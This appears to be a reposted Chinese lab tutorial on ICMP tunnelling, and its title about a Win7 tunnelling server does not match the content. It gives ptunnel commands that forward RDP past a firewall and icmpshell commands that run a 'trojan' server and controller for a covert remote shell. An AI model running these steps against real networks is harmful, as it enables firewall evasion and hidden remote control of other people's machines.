win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁

关于icmp 隧道使用场景简单说明:

两台机器间,除了允许相互ping [ 即icmp通信 ],其他的tcp/udp端口一律不允许,此时我们就可考虑利用icmp隧道进行穿透

0x01 此次用于演示的环境大致如下:

lnmp01  ip: 192.168.3.30 入侵者机器

MidLAMP ip: 192.168.3.19为目标linux机器,即icmp跳板机

win2008R2cnip: 192.168.3.23为目标windows机器,开启了3389

win7en ip: 192.168.3.17

lnmp01想访问win2008R2cn的3389,由于win2008R2cn开了防火墙且做了ip限制,没法直接从lnmp01上进行访问

虽然win2008R2cn开启了防火墙,但好在MidLAMP能ping通win2008R2cn,即没有阻断它们之间的icmp通信

0x02 最终要达到的目的:

让MidLAMP作为imcp跳板,通过访问lnmp01的指定端口来转发到win2008R2cn的3389上

实现的最终效果,即访问lnmp01的指定端口就相当于访问win2008R2cn的3389

0x03 此时,我们就可以利用 ptunnel 来快速实现这一需求

快速编译安装ptunnel

# yum install libpcap libpcap-devel flex bison -y

# tar xf PingTunnel-0.72.tar.gz

# cd PingTunnel

# make && make install

# cd

首先,在目标机器MidLAMP上执行:

# ptunnel   开启icmp隧道,等待外部连接

然后,回到lnmp01机器上执行:

-p 指定icmp跳板机ip

-l 指定本地转发端口

-da 指定最终要访问的机器ip

-dp 指定最终要访问的机器端口,如,ssh,rdp,database...

# ptunnel -p 192.168.3.19 -lp 1080 -da 192.168.3.23 -dp 3389

上面这句话的意思很简单,也就是说让MidLAMP作为icmp隧道跳板,当外部来访问lnmp01的1080端口时

就相当于进入了刚刚打通的icmp隧道,然后把到win2008R2cn的指定的端口数据都封装到这个隧道里面进行传送

最后,回到本地的win7en 机器上执行

mstsc  192.168.3.30:1080

win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁_第1张图片

在wireshark下我们很清晰的看到了这一过程,只是这个icmp请求过于密集,很容易触发各种ids

win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁_第2张图片

0x04 除了利用icmp隧道进行常规端口转发,也有很多利用此协议进行穿透的马[也是对tcp数据重新用icmp封装],也就是说,入侵者根本不需要你开任何端口,仅仅只需要能正常ping通,我一样可以穿透进而进行远控,如下简单demo

编译icmpshell,编译成功后会生成两个可执行文件,ish是控制端,ishd是木马端

# cd icmpshell

# make linux

首先,在目标机器MidLAMP上执行木马端:

-i 指定木马端端口

-t 指定icmp类型

-p 指定单包大小

# ./ishd -i 443 -t 0 -p 1024 &

# ./ish -i 443 -t 0 -p 1024 192.168.3.19

然后,再回到本地机器lnmp01上执行控制端进行连接,程序有值得改进的地方,如,设置连接密码:

win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁_第3张图片

在lnmp01机器上观察icmp数据

# tcpdump -i eth0 icmp

win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁_第4张图片

小结:

当然,关于icmp的用途绝非仅限于此,更多优秀用途,待续……也非常期待能和大家一起交流

文章出处:klion's blog

原文链接:https://klionsec.github.io/2017/10/31/icmp-tunnel/

cdcb37927b4d707d64a9fa171392d075.png

你可能感兴趣的:(win7安全套接字隧道协议服务器,利用icmp隧道 轻松穿透 tcp/udp四层 封锁)